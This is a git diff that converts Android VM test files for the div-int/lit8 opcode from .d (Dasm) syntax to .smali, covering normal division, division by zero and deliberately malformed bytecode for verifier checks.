--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 8
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.d
deleted file mode 100644
index 25c0e77..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_10.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit8 v0, v2, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali
new file mode 100644
index 0000000..939d459
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.d
deleted file mode 100644
index 9522183..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_11.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit8 v0, v2, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali
new file mode 100644
index 0000000..6be53ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.d
deleted file mode 100644
index cd72c52..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_12.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit8 v0, v2, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali
new file mode 100644
index 0000000..33d8a52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.d
deleted file mode 100644
index 1465ebc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_13.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit8 v0, v2, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java
index 2e8cbcb..ed372d3 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java
@@ -18,6 +18,7 @@
 
 public class T_div_int_lit8_13 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 1 / 0;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali
new file mode 100644
index 0000000..752e5f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.d
deleted file mode 100644
index 492ccbc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_14.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 31415
-       div-int/lit8 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali
new file mode 100644
index 0000000..651eac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 31415
+       div-int/lit8 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.d
deleted file mode 100644
index 88d70a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_15.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 3.1415
-       div-int/lit8 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali
new file mode 100644
index 0000000..9f66175
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_15.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int/lit8 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.d
deleted file mode 100644
index f93542a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_16.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       div-int/lit8 v1, v3, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali
new file mode 100644
index 0000000..99096ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_16.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       div-int/lit8 v1, v3, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.d
deleted file mode 100644
index b4169d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_17.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       div-int/lit8 v0, v3, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali
new file mode 100644
index 0000000..a350ea5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_17.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       div-int/lit8 v0, v3, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.d
deleted file mode 100644
index 10859c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_18.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       div-int/lit8 v0, v4, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali
new file mode 100644
index 0000000..d506d43
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_18.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       div-int/lit8 v0, v4, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.d
deleted file mode 100644
index 96145c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_2.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741823
-       div-int/lit8 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali
new file mode 100644
index 0000000..4209a29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741823
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.d
deleted file mode 100644
index a93a8b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_3.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 0
-       div-int/lit8 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali
new file mode 100644
index 0000000..9bfa4b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 0
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+
